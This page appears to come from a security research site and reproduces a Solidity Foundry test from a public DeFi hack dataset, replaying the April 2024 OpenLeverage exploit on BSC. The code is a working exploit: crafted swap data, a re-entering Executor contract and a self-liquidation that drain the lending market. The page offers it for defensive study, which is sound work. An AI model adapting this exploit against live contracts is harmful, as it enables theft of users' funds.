Public reproduction file

src/test/2024-04/OpenLeverage2_exp.sol

Public reproduction file for dataset entry OpenLeverage.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-04/OpenLeverage2_exp.sol238 lines

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @KeyInfo - Total Lost : ~234K
8// Attacker : https://bscscan.com/address/0x5bb5b6d41c3e5e41d9b9ed33d12f1537a1293d5f
9// Vulnerable Contract : https://bscscan.com/address/0xf436f8fe7b26d87eb74e5446acec2e8ad4075e47
10// Attack Tx 1 : https://app.blocksec.com/explorer/tx/bsc/0xf78a85eb32a193e3ed2e708803b57ea8ea22a7f25792851e3de2d7945e6d02d5
11// Attack Tx 2 : https://app.blocksec.com/explorer/tx/bsc/0x210071108f3e5cd24f49ef4b8bcdc11804984b0c0334e18a9a2cdb4cd5186067
12 
13// @Analysis
14 
15 
16interface ITradeController {
17    function activeTrades(
18        address,
19        uint16,
20        bool
21    ) external view returns (uint256 deposited, uint256 held, bool depositToken, uint128 lastBlockNum);
22 
23    function getCash() external view returns (uint256);
24 
25    function markets(
26        uint16
27    )
28        external
29        view
30        returns (
31            address pool0,
32            address pool1,
33            address token0,
34            address token1,
35            uint16 marginLimit,
36            uint16 feesRate,
37            uint16 priceDiffientRatio,
38            address priceUpdater,
39            uint256 pool0Insurance,
40            uint256 pool1Insurance
41        );
42 
43    function payoffTrade(uint16 marketId, bool longToken) external payable;
44 
45    function marginTrade(
46        uint16 marketId,
47        bool longToken,
48        bool depositToken,
49        uint256 deposit,
50        uint256 borrow,
51        uint256 minBuyAmount,
52        bytes memory dexData
53    ) external payable returns (uint256);
54}
55 
56interface ILToken is ICErc20Delegate {
57    function availableForBorrow() external view returns (uint256);
58}
59 
60interface IxOLE is IERC20 {
61    function create_lock(uint256 _value, uint256 _unlock_time) external;
62}
63 
64interface IOPBorrowingDelegator {
65    function borrow(uint16 marketId, bool collateralIndex, uint256 collateral, uint256 borrowing) external payable;
66 
67    function liquidate(uint16 marketId, bool collateralIndex, address borrower) external;
68}
69 
70contract ContractTest is Test {
71    struct SwapDescription {
72        address srcToken;
73        address dstToken;
74        address srcReceiver;
75        address dstReceiver;
76        uint256 amount;
77        uint256 minReturnAmount;
78        uint256 flags;
79    }
80 
81    IERC20 private constant ETH = IERC20(0x2170Ed0880ac9A755fd29B2688956BD959F933F8);
82    IERC20 private constant USDC = IERC20(0x8AC76a51cc950d9822D68b83fE1Ad97B32Cd580d);
83    IERC20 private constant BTCB = IERC20(0x7130d2A12B9BCbFAe4f2634d864A1Ee1Ce3Ead9c);
84    IERC20 private constant BUSDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
85    IERC20 private constant WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
86    IERC20 private constant OLE = IERC20(0xB7E2713CF55cf4b469B5a8421Ae6Fc0ED18F1467);
87    IxOLE private constant xOLE = IxOLE(0x71F1158D76aF5B6762D5EbCdEE19105eab2C77d2);
88    ILToken private constant LToken = ILToken(payable(0x7c5e04894410e98b1788fbdB181FfACbf8e60617));
89    Uni_Pair_V2 private constant USDC_OLE = Uni_Pair_V2(0x44f508dcDa27E8AFa647cD978510EAC5e63E16a4);
90    Uni_Router_V2 private constant Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
91    ITradeController private constant TradeController = ITradeController(0x6A75aC4b8d8E76d15502E69Be4cb6325422833B4);
92    IOPBorrowingDelegator private constant OPBorrowingDelegator =
93        IOPBorrowingDelegator(0xF436F8FE7B26D87eb74e5446aCEc2e8aD4075E47);
94    uint16 private constant marketId = 24;
95 
96    function setUp() public {
97        vm.createSelectFork("bsc", 37_470_328);
98        vm.label(address(ETH), "ETH");
99        vm.label(address(USDC), "USDC");
100        vm.label(address(BTCB), "BTCB");
101        vm.label(address(BUSDT), "BUSDT");
102        vm.label(address(WBNB), "WBNB");
103        vm.label(address(OLE), "OLE");
104        vm.label(address(xOLE), "xOLE");
105        vm.label(address(USDC_OLE), "USDC_OLE");
106        vm.label(address(Router), "Router");
107        vm.label(address(TradeController), "TradeController");
108        vm.label(address(OPBorrowingDelegator), "OPBorrowingDelegator");
109    }
110 
111    function testExploit() public {
112        // First TX
113        deal(address(this), 5 ether);
114        emit log_named_decimal_uint("Exploiter BNB balance before attack", address(this).balance, 18);
115 
116        USDC.approve(address(Router), type(uint256).max);
117        BUSDT.approve(address(Router), type(uint256).max);
118 
119        WBNBToOLE();
120        // Add liquidity to pair
121        OLE.transfer(address(USDC_OLE), OLE.balanceOf(address(this)));
122        USDC.transfer(address(USDC_OLE), USDC.balanceOf(address(this)));
123        USDC_OLE.mint(address(this));
124 
125        // Deposit and lock liquidity
126        USDC_OLE.approve(address(xOLE), USDC_OLE.balanceOf(address(this)));
127        xOLE.create_lock(1, 1_814_400 + block.timestamp);
128 
129        (,,,, uint16 marginLimit, uint16 feesRate, uint16 priceDiffientRatio,,,) = TradeController.markets(marketId);
130        uint256 underlyingWBNBBal = LToken.getCash();
131        if (underlyingWBNBBal > 1e14) {
132            (bool success,) = address(LToken).call(abi.encodeWithSignature("accrueInterest()"));
133            require(success, "Call to accrueInterest() not successful");
134            uint256 availableBorrow = LToken.availableForBorrow();
135 
136            address[] memory path = new address[](3);
137            path[0] = address(WBNB);
138            path[1] = address(BUSDT);
139            path[2] = address(WBNB);
140            uint256[] memory amountsOut = Router.getAmountsOut(address(this).balance, path);
141            uint256 amountToBorrow = (amountsOut[2] * 3000) / marginLimit;
142            uint256[] memory amounts = WBNBToBUSDT();
143            BUSDT.approve(address(TradeController), amounts[1]);
144 
145            Executor executor = new Executor();
146            SwapDescription memory desc = SwapDescription({
147                srcToken: address(WBNB),
148                dstToken: address(BUSDT),
149                srcReceiver: address(executor),
150                dstReceiver: address(TradeController),
151                amount: amountToBorrow,
152                minReturnAmount: 1,
153                flags: 4
154            });
155            bytes memory permit = "";
156            bytes memory data =
157                abi.encode(address(this), address(WBNB), address(BUSDT), 65_560, address(OPBorrowingDelegator));
158            bytes memory swapData = abi.encodeWithSelector(bytes4(0x12aa3caf), address(executor), desc, permit, data);
159 
160            // First byte = Dex ID
161            bytes memory dexData = abi.encodePacked(bytes5(hex"1500000002"), swapData);
162 
163            TradeController.marginTrade(marketId, true, true, amountsOut[1], amountToBorrow, 0, dexData);
164 
165            OPBorrowingDelegator.liquidate(marketId, true, address(this));
166        }
167 
168        // Second TX
169        vm.rollFork(37_470_331);
170 
171        TradeController.markets(marketId);
172        TradeController.payoffTrade(marketId, true);
173        WBNB.withdraw(WBNB.balanceOf(address(this)));
174        BUSDTToWBNB();
175 
176        emit log_named_decimal_uint("Exploiter BNB balance after attack", address(this).balance, 18);
177    }
178 
179    receive() external payable {}
180 
181    function borrow() external {
182        BUSDT.approve(address(OPBorrowingDelegator), type(uint256).max);
183        TradeController.markets(marketId);
184        OPBorrowingDelegator.borrow(marketId, true, 1_000_000, 0);
185    }
186 
187    function WBNBToOLE() private {
188        address[] memory path = new address[](2);
189        path[0] = address(WBNB);
190        path[1] = address(USDC);
191        Router.swapETHForExactTokens{value: 0.01 ether}(100, path, address(this), block.timestamp);
192 
193        path[0] = address(USDC);
194        path[1] = address(OLE);
195        Router.swapTokensForExactTokens(100, 100, path, address(this), block.timestamp);
196    }
197 
198    function WBNBToBUSDT() private returns (uint256[] memory amounts) {
199        address[] memory path = new address[](2);
200        path[0] = address(WBNB);
201        path[1] = address(BUSDT);
202 
203        amounts = Router.swapExactETHForTokens{value: address(this).balance}(0, path, address(this), block.timestamp);
204    }
205 
206    function BUSDTToWBNB() private {
207        address[] memory path = new address[](2);
208        path[0] = address(BUSDT);
209        path[1] = address(WBNB);
210 
211        Router.swapExactTokensForETH(BUSDT.balanceOf(address(this)), 0, path, address(this), block.timestamp);
212    }
213}
214 
215contract Executor {
216    IERC20 private constant WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
217    IERC20 private constant BUSDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
218    Uni_Router_V2 private constant Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
219    address private immutable owner;
220 
221    // address private constant AggregationRouterAddr = 0x1111111254EEB25477B68fb85Ed929f73A960582;
222 
223    constructor() {
224        owner = msg.sender;
225    }
226 
227    function execute(
228        address _sender
229    ) external {
230        WBNB.approve(address(Router), type(uint256).max);
231        address[] memory path = new address[](2);
232        path[0] = address(WBNB);
233        path[1] = address(BUSDT);
234        Router.swapExactTokensForTokens(WBNB.balanceOf(address(this)), 1, path, msg.sender, block.timestamp);
235        (bool success,) = owner.call(abi.encodeWithSignature("borrow()"));
236        require(success, "Call to borrow not successful");
237    }
238}

Analysis

Dataset entry

Public Foundry test for “OpenLeverage” (2024-04-01). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

src/test/interface.solImported by this file · 6133 lines
src/test/2024-04/ATM_exp.solSame month in the dataset · 87 lines
src/test/2024-04/BigBangSwap_exp.solSame month in the dataset · 118 lines
src/test/2024-04/BNBX_exp.solSame month in the dataset · 70 lines
src/test/2024-04/ChaingeFinance_exp.solSame month in the dataset · 145 lines
src/test/2024-04/FIL314_exp.solSame month in the dataset · 55 lines
src/test/2024-04/GFA_exp.solSame month in the dataset · 63 lines
src/test/2024-04/GROKD_exp.solSame month in the dataset · 172 lines
src/test/2024-04/Hackathon_exp.solSame month in the dataset · 63 lines
src/test/2024-04/HedgeyFinance_exp.solSame month in the dataset · 149 lines
src/test/2024-04/HoppyFrogERC_exp.solSame month in the dataset · 57 lines
src/test/2024-04/MARS_exp.solSame month in the dataset · 101 lines
src/test/2024-04/NGFS_exp.solSame month in the dataset · 91 lines
src/test/2024-04/PikeFinance_exp.solSame month in the dataset · 70 lines
src/test/2024-04/Rico_exp.solSame month in the dataset · 119 lines
src/test/2024-04/SATX_exp.solSame month in the dataset · 82 lines
src/test/2024-04/SQUID_exp.solSame month in the dataset · 86 lines
src/test/2024-04/SumerMoney_exp.solSame month in the dataset · 144 lines
src/test/2024-04/UnverifiedContr_0x00C409_exp.solSame month in the dataset · 96 lines
src/test/2024-04/UPS_exp.solSame month in the dataset · 75 lines
src/test/2024-04/WSM_exp.solSame month in the dataset · 84 lines
src/test/2024-04/XBridge_exp.solSame month in the dataset · 55 lines
src/test/2024-04/YIEDL_exp.solSame month in the dataset · 97 lines
src/test/2024-04/Yield_exp.solSame month in the dataset · 94 lines

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

Attacker
0x5bb5b6d41c3e5e41d9b9ed33d12f1537a1293d5f
Vulnerable Contract
0xf436f8fe7b26d87eb74e5446acec2e8ad4075e47

Attack Tx
0xf78a85eb32a193e3ed2e708803b57ea8ea22a7f25792851e3de2d7945e6d02d5
Attack Tx
0x210071108f3e5cd24f49ef4b8bcdc11804984b0c0334e18a9a2cdb4cd5186067

File record

Name: OpenLeverage
Path: src/test/2024-04/OpenLeverage2_exp.sol
Repository: SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit: 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob: 8244f55776376fbdd50513d150f99f4a769fdc2b
Language: Solidity
Size: 239 lines
Date: 2024-04-01
Licence: file header UNLICENSED; repository Apache-2.0
Retrieved: 2026-10-19

Provenance

Path src/test/2024-04/OpenLeverage2_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 8244f55776376fbdd50513d150f99f4a769fdc2b, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.